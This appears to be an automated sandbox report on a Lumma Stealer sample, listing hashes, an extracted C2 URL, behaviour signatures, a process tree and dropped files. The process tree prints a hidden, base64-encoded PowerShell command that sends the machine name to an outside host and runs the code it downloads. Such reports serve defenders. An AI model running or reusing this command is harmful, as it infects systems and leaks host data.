Analysis

  • max time kernel
    124s
  • max time network
    100s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    21-11-2024 19:18

General

  • Target

    183c6aa694124103e3896ee7b71175f4a81d9533218617cb80d60d9307b53c90.exe

  • Size

    44.4MB

  • MD5

    af3c0e9cada6c8e34d2c1a9e8b77feba

  • SHA1

    f57a1a856bb437d253edd159466c98e81fa3f1a0

  • SHA256

    183c6aa694124103e3896ee7b71175f4a81d9533218617cb80d60d9307b53c90

  • SHA512

    e49f131d3d0e7f68b749f4bc387b30f692a5e73aae2e3e5595ab004e6cac7518bb0b101a8c0022c7401174d5d23de1ccca1dfc433dec8e89c43952ec8a44e093

  • SSDEEP

    786432:+r9TtNURsYshn+BHht9vgoVflXmMgcns2L/vjTR4xz6paBXZH1fGGliTuCbtDdlE:+rpUms94ov2MgDyvjTSxuYfeGibFdDEz

Malware Config

Extracted

Family

lumma

C2

https://quotedjizwe.cyou/api

Signatures

  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

  • Lumma family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 45 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 25 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\183c6aa694124103e3896ee7b71175f4a81d9533218617cb80d60d9307b53c90.exe
    "C:\Users\Admin\AppData\Local\Temp\183c6aa694124103e3896ee7b71175f4a81d9533218617cb80d60d9307b53c90.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2116
    • C:\Users\Admin\AppData\Roaming\InstallerPDW\install.exe
      C:\Users\Admin\AppData\Roaming\InstallerPDW\install.exe
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2616
      • C:\Users\Admin\AppData\Roaming\InstallerPDW\jre\bin\javaw.exe
        "C:\Users\Admin\AppData\Roaming\InstallerPDW\jre\bin\javaw.exe" -Dfile.encoding=UTF-8 -classpath "lib\.;lib\..;lib\asm-all.jar;lib\dn-compiled-module.jar;lib\dn-php-sdk.jar;lib\gson.jar;lib\jphp-app-framework.jar;lib\jphp-core.jar;lib\jphp-desktop-ext.jar;lib\jphp-gui-ext.jar;lib\jphp-json-ext.jar;lib\jphp-runtime.jar;lib\jphp-xml-ext.jar;lib\jphp-zend-ext.jar;lib\jphp-zip-ext.jar;lib\slf4j-api.jar;lib\slf4j-simple.jar;lib\zt-zip.jar" org.develnext.jphp.ext.javafx.FXLauncher
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:2604
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\System32\cmd.exe /c "C:\Windows\System32\chcp.com 65001>nul & C:\Windows\SysNative\reg.exe query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v "CurrentBuild""
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1624
          • C:\Windows\SysWOW64\chcp.com
            C:\Windows\System32\chcp.com 65001
            5⤵
            • System Location Discovery: System Language Discovery
            PID:1468
          • C:\Windows\system32\reg.exe
            C:\Windows\SysNative\reg.exe query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v "CurrentBuild"
            5⤵
              PID:2396
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\System32\cmd.exe /c "C:\Windows\System32\chcp.com 866>nul & C:\Windows\System32\wbem\wmic.exe CPU get Name /Format:List | C:\Windows\System32\more.com"
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2352
            • C:\Windows\SysWOW64\chcp.com
              C:\Windows\System32\chcp.com 866
              5⤵
              • System Location Discovery: System Language Discovery
              PID:1324
            • C:\Windows\SysWOW64\wbem\WMIC.exe
              C:\Windows\System32\wbem\wmic.exe CPU get Name /Format:List
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:1560
            • C:\Windows\SysWOW64\more.com
              C:\Windows\System32\more.com
              5⤵
              • System Location Discovery: System Language Discovery
              PID:2720
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\System32\cmd.exe /c "C:\Windows\System32\chcp.com 866>nul & C:\Windows\System32\wbem\wmic.exe Path Win32_VideoController Get AdapterCompatibility /Format:List | C:\Windows\System32\more.com"
            4⤵
            • System Location Discovery: System Language Discovery
            PID:2056
            • C:\Windows\SysWOW64\chcp.com
              C:\Windows\System32\chcp.com 866
              5⤵
              • System Location Discovery: System Language Discovery
              PID:2576
            • C:\Windows\SysWOW64\wbem\WMIC.exe
              C:\Windows\System32\wbem\wmic.exe Path Win32_VideoController Get AdapterCompatibility /Format:List
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:2028
            • C:\Windows\SysWOW64\more.com
              C:\Windows\System32\more.com
              5⤵
              • System Location Discovery: System Language Discovery
              PID:772
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\System32\cmd.exe /c "C:\Windows\System32\chcp.com 866>nul & C:\Windows\System32\wbem\wmic.exe path Win32_ComputerSystem get TotalPhysicalMemory /Format:List | C:\Windows\System32\more.com"
            4⤵
            • System Location Discovery: System Language Discovery
            PID:2176
            • C:\Windows\SysWOW64\chcp.com
              C:\Windows\System32\chcp.com 866
              5⤵
              • System Location Discovery: System Language Discovery
              PID:2920
            • C:\Windows\SysWOW64\wbem\WMIC.exe
              C:\Windows\System32\wbem\wmic.exe path Win32_ComputerSystem get TotalPhysicalMemory /Format:List
              5⤵
              • System Location Discovery: System Language Discovery
              PID:2900
            • C:\Windows\SysWOW64\more.com
              C:\Windows\System32\more.com
              5⤵
              • System Location Discovery: System Language Discovery
              PID:2888
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\System32\cmd.exe /c "C:\Windows\System32\chcp.com 65001>nul & C:\Windows\SysNative\reg.exe query "HKU\S-1-5-19""
            4⤵
            • System Location Discovery: System Language Discovery
            PID:3028
            • C:\Windows\SysWOW64\chcp.com
              C:\Windows\System32\chcp.com 65001
              5⤵
              • System Location Discovery: System Language Discovery
              PID:1312
            • C:\Windows\system32\reg.exe
              C:\Windows\SysNative\reg.exe query "HKU\S-1-5-19"
              5⤵
                PID:1288
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "& {$script = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('DQokcj0naHR0cDovL2NhdHNpLm5ldC9pbmNhbGwucGhwP2NvbXBOYW1lPScrJGVudjpjb21wdXRlcm5hbWU7IFtuZXQuU2VydmljRXBPaU50bUFuYWdlUl06OnNFQ3VyaVRZcFJPVG9jT2wgPSBbbkVULnNlQ1VSSVR5cFJPVG9jb0xUWXBlXTo6VGxzMTI7ICR0dHAgPSBpd3IgJHIgLVVzZUJhc2ljUGFyc2luZyAtVXNlckFnZW50ICdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjEpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS84MS4wLjQ0NC4xNDMgU2FmYXJpLzUzNy4zNic7IGlleCAkdHRwLkNvbnRlbnQ7')); Invoke-Expression $script}"
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:2120
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c "cd /d "C:\Users\Admin\AppData\Local\Temp/89d5efa69f23c7d989f3f5d6c8174fa6/" && (for %F in (*.exe) do start "" "%F")"
              4⤵
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              PID:1092
              • C:\Users\Admin\AppData\Local\Temp\89d5efa69f23c7d989f3f5d6c8174fa6\EASteamProxy.exe
                "EASteamProxy.exe"
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious behavior: EnumeratesProcesses
                PID:2440
                • C:\Users\Admin\AppData\Roaming\Serverdownload\EASteamProxy.exe
                  C:\Users\Admin\AppData\Roaming\Serverdownload\EASteamProxy.exe
                  6⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Suspicious use of SetThreadContext
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious behavior: MapViewOfSection
                  PID:2856
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\SysWOW64\cmd.exe
                    7⤵
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious behavior: MapViewOfSection
                    PID:2944
                    • C:\Windows\SysWOW64\explorer.exe
                      C:\Windows\SysWOW64\explorer.exe
                      8⤵
                      • System Location Discovery: System Language Discovery
                      PID:2772
            • C:\Windows\SysWOW64\explorer.exe
              explorer C:\Users\Admin\AppData\Local\Temp\203c96b842da1eff74d78a1cf4a61e2f.pdf
              4⤵
              • System Location Discovery: System Language Discovery
              PID:940
      • C:\Windows\explorer.exe
        C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
        1⤵
          PID:2356
          • C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe
            "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\203c96b842da1eff74d78a1cf4a61e2f.pdf"
            2⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: GetForegroundWindowSpam
            • Suspicious use of SetWindowsHookEx
            PID:2600

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\Cab83F1.tmp

          Filesize

          70KB

          MD5

          49aebf8cbd62d92ac215b2923fb1b9f5

          SHA1

          1723be06719828dda65ad804298d0431f6aff976

          SHA256

          b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

          SHA512

          bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

        • C:\Users\Admin\AppData\Local\Temp\Tar8404.tmp

          Filesize

          181KB

          MD5

          4ea6026cf93ec6338144661bf1202cd1

          SHA1

          a1dec9044f750ad887935a01430bf49322fbdcb7

          SHA256

          8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

          SHA512

          6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

        • C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\SharedDataEvents

          Filesize

          3KB

          MD5

          b35d89ede0d3428d83eddf449564b297

          SHA1

          592629e3610b49f445ed01a98ed7f6747f443d1e

          SHA256

          073906859d490e93f567c43b399ebbccb7a184c15822e9bba595481c70ef37eb

          SHA512

          ebe98ef1222cea09f8cad87c3738bc11b663300cc4a7dc19aa91e035e2a9dc162f88304ab8f98f9c39bd1bb34b912f6ef72b41f014b0d3a53c3100d830f705af

        • C:\Users\Admin\AppData\Roaming\InstallerPDW\jre\lib\currency.data

          Filesize

          4KB

          MD5

          f6258230b51220609a60aa6ba70d68f3

          SHA1

          b5b95dd1ddcd3a433db14976e3b7f92664043536

          SHA256

          22458853da2415f7775652a7f57bb6665f83a9ae9fb8bd3cf05e29aac24c8441

          SHA512

          b2dfcfdebf9596f2bb05f021a24335f1eb2a094dca02b2d7dd1b7c871d5eecda7d50da7943b9f85edb5e92d9be6b6adfd24673ce816df3960e4d68c7f894563f

        • C:\Users\Admin\AppData\Roaming\InstallerPDW\jre\lib\ext\jfxrt.jar

          Filesize

          17.3MB

          MD5

          042b3675517d6a637b95014523b1fd7d

          SHA1

          82161caf5f0a4112686e4889a9e207c7ba62a880

          SHA256

          a570f20f8410f9b1b7e093957bf0ae53cae4731afaea624339aa2a897a635f22

          SHA512

          7672d0b50a92e854d3bd3724d01084cc10a90678b768e9a627baf761993e56a0c6c62c19155649fe9a8ceeabf845d86cbbb606554872ae789018a8b66e5a2b35

        • C:\Users\Admin\AppData\Roaming\InstallerPDW\jre\lib\ext\meta-index

          Filesize

          1KB

          MD5

          77abe2551c7a5931b70f78962ac5a3c7

          SHA1

          a8bb53a505d7002def70c7a8788b9a2ea8a1d7bc

          SHA256

          c557f0c9053301703798e01dc0f65e290b0ae69075fb49fcc0e68c14b21d87f4

          SHA512

          9fe671380335804d4416e26c1e00cded200687db484f770ebbdb8631a9c769f0a449c661cb38f49c41463e822beb5248e69fd63562c3d8c508154c5d64421935

        • C:\Users\Admin\AppData\Roaming\InstallerPDW\jre\lib\i386\jvm.cfg

          Filesize

          657B

          MD5

          9fd47c1a487b79a12e90e7506469477b

          SHA1

          7814df0ff2ea1827c75dcd73844ca7f025998cc6

          SHA256

          a73aea3074360cf62adedc0c82bc9c0c36c6a777c70da6c544d0fba7b2d8529e

          SHA512

          97b9d4c68ac4b534f86efa9af947763ee61aee6086581d96cbf7b3dbd6fd5d9db4b4d16772dce6f347b44085cef8a6ea3bfd3b84fbd9d4ef763cef39255fbce3

        • C:\Users\Admin\AppData\Roaming\InstallerPDW\jre\lib\jsse.jar

          Filesize

          619KB

          MD5

          fd1434c81219c385f30b07e33cef9f30

          SHA1

          0b5ee897864c8605ef69f66dfe1e15729cfcbc59

          SHA256

          bc3a736e08e68ace28c68b0621dccfb76c1063bd28d7bd8fce7b20e7b7526cc5

          SHA512

          9a778a3843744f1fabad960aa22880d37c30b1cab29e123170d853c9469dc54a81e81a9070e1de1bf63ba527c332bb2b1f1d872907f3bdce33a6898a02fef22d

        • C:\Users\Admin\AppData\Roaming\InstallerPDW\jre\lib\meta-index

          Filesize

          2KB

          MD5

          91aa6ea7320140f30379f758d626e59d

          SHA1

          3be2febe28723b1033ccdaa110eaf59bbd6d1f96

          SHA256

          4af21954cdf398d1eae795b6886ca2581dac9f2f1d41c98c6ed9b5dbc3e3c1d4

          SHA512

          03428803f1d644d89eb4c0dcbdea93acaac366d35fc1356ccabf83473f4fef7924edb771e44c721103cec22d94a179f092d1bfd1c0a62130f076eb82a826d7cb

        • C:\Users\Admin\AppData\Roaming\InstallerPDW\jre\lib\resources.jar

          Filesize

          3.3MB

          MD5

          9a084b91667e7437574236cd27b7c688

          SHA1

          d8926cc4aa12d6fe9abe64c8c3cb8bc0f594c5b1

          SHA256

          a1366a75454fc0f1ca5a14ea03b4927bb8584d6d5b402dfa453122ae16dbf22d

          SHA512

          d603aa29e1f6eefff4b15c7ebc8a0fa18e090d2e1147d56fd80581c7404ee1cb9d6972fcf2bd0cb24926b3af4dfc5be9bce1fe018681f22a38adaa278bf22d73

        • C:\Users\Admin\AppData\Roaming\InstallerPDW\jre\lib\security\java.security

          Filesize

          26KB

          MD5

          409c132fe4ea4abe9e5eb5a48a385b61

          SHA1

          446d68298be43eb657934552d656fa9ae240f2a2

          SHA256

          4d9e5a12b8cac8b36ecd88468b1c4018bc83c97eb467141901f90358d146a583

          SHA512

          7fed286ac9aed03e2dae24c3864edbbf812b65965c7173cc56ce622179eb5f872f77116275e96e1d52d1c58d3cdebe4e82b540b968e95d5da656aa74ad17400d

        • C:\Users\Admin\AppData\Roaming\InstallerPDW\jre\lib\tzdb.dat

          Filesize

          101KB

          MD5

          5a7f416bd764e4a0c2deb976b1d04b7b

          SHA1

          e12754541a58d7687deda517cdda14b897ff4400

          SHA256

          a636afa5edba8aa0944836793537d9c5b5ca0091ccc3741fc0823edae8697c9d

          SHA512

          3ab2ad86832b98f8e5e1ce1c1b3ffefa3c3d00b592eb1858e4a10fff88d1a74da81ad24c7ec82615c398192f976a1c15358fce9451aa0af9e65fb566731d6d8f

        • C:\Users\Admin\AppData\Roaming\InstallerPDW\jre\lib\tzmappings

          Filesize

          8KB

          MD5

          b8dd8953b143685b5e91abeb13ff24f0

          SHA1

          b5ceb39061fce39bb9d7a0176049a6e2600c419c

          SHA256

          3d49b3f2761c70f15057da48abe35a59b43d91fa4922be137c0022851b1ca272

          SHA512

          c9cd0eb1ba203c170f8196cbab1aaa067bcc86f2e52d0baf979aad370edf9f773e19f430777a5a1c66efe1ec3046f9bc82165acce3e3d1b8ae5879bd92f09c90

        • C:\Users\Admin\AppData\Roaming\InstallerPDW\lib\asm-all.jar

          Filesize

          241KB

          MD5

          f5ad16c7f0338b541978b0430d51dc83

          SHA1

          2ea49e08b876bbd33e0a7ce75c8f371d29e1f10a

          SHA256

          7fbffbc1db3422e2101689fd88df8384b15817b52b9b2b267b9f6d2511dc198d

          SHA512

          82e6749f4a6956f5b8dd5a5596ca170a1b7ff4e551714b56a293e6b8c7b092cbec2bec9dc0d9503404deb8f175cbb1ded2e856c6bc829411c8ed311c1861336a

        • C:\Users\Admin\AppData\Roaming\InstallerPDW\lib\dn-compiled-module.jar

          Filesize

          793KB

          MD5

          e147e868ad19b14c74dd1ffc4213f823

          SHA1

          466674ce42a18c79d5c62fe8fdf38a5c560a6640

          SHA256

          9f4136c06d393b79b3a86c2ee10a3443608b7b62cdbb4d9dca240be62d024f2c

          SHA512

          745043531febfb5c129e80fa92e8424d30b4966f1d182221d208ae94ec06019f022ea5ba80807abec3f968bed6ebe5fefdd093042e3551c4ee36b5e9aae36e65

        • C:\Users\Admin\AppData\Roaming\InstallerPDW\lib\dn-php-sdk.jar

          Filesize

          12KB

          MD5

          3e5e8cccff7ff343cbfe22588e569256

          SHA1

          66756daa182672bff27e453eed585325d8cc2a7a

          SHA256

          0f26584763ef1c5ec07d1f310f0b6504bc17732f04e37f4eb101338803be0dc4

          SHA512

          8ea5f31e25c3c48ee21c51abe9146ee2a270d603788ec47176c16acac15dad608eef4fa8ca0f34a1bbc6475c29e348bd62b0328e73d2e1071aaa745818867522

        • C:\Users\Admin\AppData\Roaming\InstallerPDW\lib\gson.jar

          Filesize

          226KB

          MD5

          5134a2350f58890ffb9db0b40047195d

          SHA1

          751f548c85fa49f330cecbb1875893f971b33c4e

          SHA256

          2d43eb5ea9e133d2ee2405cc14f5ee08951b8361302fdd93494a3a997b508d32

          SHA512

          c3cdaf66a99e6336abc80ff23374f6b62ac95ab2ae874c9075805e91d849b18e3f620cc202b4978fc92b73d98de96089c8714b1dd096b2ae1958cfa085715f7a

        • C:\Users\Admin\AppData\Roaming\InstallerPDW\lib\jphp-app-framework.jar

          Filesize

          103KB

          MD5

          0c8768cdeb3e894798f80465e0219c05

          SHA1

          c4da07ac93e4e547748ecc26b633d3db5b81ce47

          SHA256

          15f36830124fc7389e312cf228b952024a8ce8601bf5c4df806bc395d47db669

          SHA512

          35db507a3918093b529547e991ab6c1643a96258fc95ba1ea7665ff762b0b8abb1ef732b3854663a947effe505be667bd2609ffcccb6409a66df605f971da106

        • C:\Users\Admin\AppData\Roaming\InstallerPDW\lib\jphp-core.jar

          Filesize

          464KB

          MD5

          7e5e3d6d352025bd7f093c2d7f9b21ab

          SHA1

          ad9bfc2c3d70c574d34a752c5d0ebcc43a046c57

          SHA256

          5b37e8ff2850a4cbb02f9f02391e9f07285b4e0667f7e4b2d4515b78e699735a

          SHA512

          c19c29f8ad8b6beb3eed40ab7dc343468a4ca75d49f1d0d4ea0b4a5cee33f745893fba764d35c8bd157f7842268e0716b1eb4b8b26dcf888fb3b3f4314844aad

        • C:\Users\Admin\AppData\Roaming\InstallerPDW\lib\jphp-desktop-ext.jar

          Filesize

          16KB

          MD5

          b50e2c75f5f0e1094e997de8a2a2d0ca

          SHA1

          d789eb689c091536ea6a01764bada387841264cb

          SHA256

          cf4068ebb5ecd47adec92afba943aea4eb2fee40871330d064b69770cccb9e23

          SHA512

          57d8ac613805edada6aeba7b55417fd7d41c93913c56c4c2c1a8e8a28bbb7a05aade6e02b70a798a078dc3c747967da242c6922b342209874f3caf7312670cb0

        • C:\Users\Admin\AppData\Roaming\InstallerPDW\lib\jphp-gui-ext.jar

          Filesize

          688KB

          MD5

          6696368a09c7f8fed4ea92c4e5238cee

          SHA1

          f89c282e557d1207afd7158b82721c3d425736a7

          SHA256

          c25d7a7b8f0715729bccb817e345f0fdd668dd4799c8dab1a4db3d6a37e7e3e4

          SHA512

          0ab24f07f956e3cdcd9d09c3aa4677ff60b70d7a48e7179a02e4ff9c0d2c7a1fc51624c3c8a5d892644e9f36f84f7aaf4aa6d2c9e1c291c88b3cff7568d54f76

        • C:\Users\Admin\AppData\Roaming\InstallerPDW\lib\jphp-json-ext.jar

          Filesize

          16KB

          MD5

          fde38932b12fc063451af6613d4470cc

          SHA1

          bc08c114681a3afc05fb8c0470776c3eae2eefeb

          SHA256

          9967ea3c3d1aee8db5a723f714fba38d2fc26d8553435ab0e1d4e123cd211830

          SHA512

          0f211f81101ced5fff466f2aab0e6c807bb18b23bc4928fe664c60653c99fa81b34edf5835fcc3affb34b0df1fa61c73a621df41355e4d82131f94fcc0b0e839

        • C:\Users\Admin\AppData\Roaming\InstallerPDW\lib\jphp-runtime.jar

          Filesize

          1.1MB

          MD5

          d5ef47c915bef65a63d364f5cf7cd467

          SHA1

          f711f3846e144dddbfb31597c0c165ba8adf8d6b

          SHA256

          9c287472408857301594f8f7bda108457f6fdae6e25c87ec88dbf3012e5a98b6

          SHA512

          04aeb956bfcd3bd23b540f9ad2d4110bb2ffd25fe899152c4b2e782daa23a676df9507078ecf1bfc409ddfbe2858ab4c4c324f431e45d8234e13905eb192bae8

        • C:\Users\Admin\AppData\Roaming\InstallerPDW\lib\jphp-xml-ext.jar

          Filesize

          19KB

          MD5

          0a79304556a1289aa9e6213f574f3b08

          SHA1

          7ee3bde3b1777bf65d4f62ce33295556223a26cd

          SHA256

          434e57fffc7df0b725c1d95cabafdcdb83858ccb3e5e728a74d3cf33a0ca9c79

          SHA512

          1560703d0c162d73c99cef9e8ddc050362e45209cc8dea6a34a49e2b6f99aae462eae27ba026bdb29433952b6696896bb96998a0f6ac0a3c1dbbb2f6ebc26a7e

        • C:\Users\Admin\AppData\Roaming\InstallerPDW\lib\jphp-zend-ext.jar

          Filesize

          95KB

          MD5

          4bc2aea7281e27bc91566377d0ed1897

          SHA1

          d02d897e8a8aca58e3635c009a16d595a5649d44

          SHA256

          4aef566bbf3f0b56769a0c45275ebbf7894e9ddb54430c9db2874124b7cea288

          SHA512

          da35bb2f67bca7527dc94e5a99a162180b2701ddca2c688d9e0be69876aca7c48f192d0f03d431ccd2d8eec55e0e681322b4f15eba4db29ef5557316e8e51e10

        • C:\Users\Admin\AppData\Roaming\InstallerPDW\lib\jphp-zip-ext.jar

          Filesize

          12KB

          MD5

          20f6f88989e806d23c29686b090f6190

          SHA1

          1fdb9a66bb5ca587c05d3159829a8780bb66c87d

          SHA256

          9d5f06d539b91e98fd277fc01fd2f9af6fea58654e3b91098503b235a83abb16

          SHA512

          2798bb1dd0aa121cd766bd5b47d256b1a528e9db83ed61311fa685f669b7f60898118ae8c69d2a30d746af362b810b133103cbe426e0293dd2111aca1b41ccea

        • C:\Users\Admin\AppData\Roaming\InstallerPDW\lib\slf4j-api.jar

          Filesize

          40KB

          MD5

          caafe376afb7086dcbee79f780394ca3

          SHA1

          da76ca59f6a57ee3102f8f9bd9cee742973efa8a

          SHA256

          18c4a0095d5c1da6b817592e767bb23d29dd2f560ad74df75ff3961dbde25b79

          SHA512

          5dd6271fd5b34579d8e66271bab75c89baca8b2ebeaa9966de391284bd08f2d720083c6e0e1edda106ecf8a04e9a32116de6873f0f88c19c049c0fe27e5d820b

        • C:\Users\Admin\AppData\Roaming\InstallerPDW\lib\slf4j-simple.jar

          Filesize

          14KB

          MD5

          722bb90689aecc523e3fe317e1f0984b

          SHA1

          8dacf9514f0c707cbbcdd6fd699e8940d42fb54e

          SHA256

          0966e86fffa5be52d3d9e7b89dd674d98a03eed0a454fbaf7c1bd9493bd9d874

          SHA512

          d5effbfa105bcd615e56ef983075c9ef0f52bcfdbefa3ce8cea9550f25b859e48b32f2ec9aa7a305c6611a3be5e0cde0d269588d9c2897ca987359b77213331d

        • C:\Users\Admin\AppData\Roaming\InstallerPDW\lib\zt-zip.jar

          Filesize

          102KB

          MD5

          0fd8bc4f0f2e37feb1efc474d037af55

          SHA1

          add8fface4c1936787eb4bffe4ea944a13467d53

          SHA256

          1e31ef3145d1e30b31107b7afc4a61011ebca99550dce65f945c2ea4ccac714b

          SHA512

          29de5832db5b43fdc99bb7ea32a7359441d6cf5c05561dd0a6960b33078471e4740ee08ffbd97a5ced4b7dd9cc98fad6add43edb4418bf719f90f83c58188149

        • \Users\Admin\AppData\Roaming\InstallerPDW\install.exe

          Filesize

          136KB

          MD5

          fca89c62d6ea9f979b3a8d21ee2c4f55

          SHA1

          bd77809998b5cfef93e3c34af3ddb8292f549d44

          SHA256

          6b069e5b450898615e709275bc0a53b529f171301a603093bdc17ebd784e0e34

          SHA512

          f1f1f30d0c07c343d9709dd4a6405751de678886703bd59f2d72751f3d470ca88389b3ce3ba5966282e6f60ae68f13de722e885f4bd1bfae2aad60323edf7df0

        • \Users\Admin\AppData\Roaming\InstallerPDW\jre\bin\client\jvm.dll

          Filesize

          3.7MB

          MD5

          39c302fe0781e5af6d007e55f509606a

          SHA1

          23690a52e8c6578de6a7980bb78aae69d0f31780

          SHA256

          b1fbdbb1e4c692b34d3b9f28f8188fc6105b05d311c266d59aa5e5ec531966bc

          SHA512

          67f91a75e16c02ca245233b820df985bd8290a2a50480dff4b2fd2695e3cf0b4534eb1bf0d357d0b14f15ce8bd13c82d2748b5edd9cc38dc9e713f5dc383ed77

        • \Users\Admin\AppData\Roaming\InstallerPDW\jre\bin\glass.dll

          Filesize

          196KB

          MD5

          434cbb561d7f326bbeffa2271ecc1446

          SHA1

          3d9639f6da2bc8ac5a536c150474b659d0177207

          SHA256

          1edd9022c10c27bbba2ad843310458edaead37a9767c6fc8fddaaf1adfcbc143

          SHA512

          9e37b985ecf0b2fef262f183c1cd26d437c8c7be97aa4ec4cd8c75c044336cc69a56a4614ea6d33dc252fe0da8e1bbadc193ff61b87be5dce6610525f321b6dc

        • \Users\Admin\AppData\Roaming\InstallerPDW\jre\bin\java.dll

          Filesize

          123KB

          MD5

          73bd0b62b158c5a8d0ce92064600620d

          SHA1

          63c74250c17f75fe6356b649c484ad5936c3e871

          SHA256

          e7b870deb08bc864fa7fd4dec67cef15896fe802fafb3009e1b7724625d7da30

          SHA512

          eba1cf977365446b35740471882c5209773a313de653404a8d603245417d32a4e9f23e3b6cd85721143d2f9a0e46ed330c3d8ba8c24aee390d137f9b5cd68d8f

        • \Users\Admin\AppData\Roaming\InstallerPDW\jre\bin\javaw.exe

          Filesize

          187KB

          MD5

          48c96771106dbdd5d42bba3772e4b414

          SHA1

          e84749b99eb491e40a62ed2e92e4d7a790d09273

          SHA256

          a96d26428942065411b1b32811afd4c5557c21f1d9430f3696aa2ba4c4ac5f22

          SHA512

          9f891c787eb8ceed30a4e16d8e54208fa9b19f72eeec55b9f12d30dc8b63e5a798a16b1ccc8cea3e986191822c4d37aedb556e534d2eb24e4a02259555d56a2c

        • \Users\Admin\AppData\Roaming\InstallerPDW\jre\bin\msvcp120.dll

          Filesize

          444KB

          MD5

          fd5cabbe52272bd76007b68186ebaf00

          SHA1

          efd1e306c1092c17f6944cc6bf9a1bfad4d14613

          SHA256

          87c42ca155473e4e71857d03497c8cbc28fa8ff7f2c8d72e8a1f39b71078f608

          SHA512

          1563c8257d85274267089cd4aeac0884a2a300ff17f84bdb64d567300543aa9cd57101d8408d0077b01a600ddf2e804f7890902c2590af103d2c53ff03d9e4a5

        • \Users\Admin\AppData\Roaming\InstallerPDW\jre\bin\msvcr100.dll

          Filesize

          755KB

          MD5

          bf38660a9125935658cfa3e53fdc7d65

          SHA1

          0b51fb415ec89848f339f8989d323bea722bfd70

          SHA256

          60c06e0fa4449314da3a0a87c1a9d9577df99226f943637e06f61188e5862efa

          SHA512

          25f521ffe25a950d0f1a4de63b04cb62e2a3b0e72e7405799586913208bf8f8fa52aa34e96a9cc6ee47afcd41870f3aa0cd8289c53461d1b6e792d19b750c9a1

        • \Users\Admin\AppData\Roaming\InstallerPDW\jre\bin\msvcr120.dll

          Filesize

          948KB

          MD5

          034ccadc1c073e4216e9466b720f9849

          SHA1

          f19e9d8317161edc7d3e963cc0fc46bd5e4a55a1

          SHA256

          86e39b5995af0e042fcdaa85fe2aefd7c9ddc7ad65e6327bd5e7058bc3ab615f

          SHA512

          5f11ef92d936669ee834a5cef5c7d0e7703bf05d03dc4f09b9dcfe048d7d5adfaab6a9c7f42e8080a5e9aad44a35f39f3940d5cca20623d9cafe373c635570f7

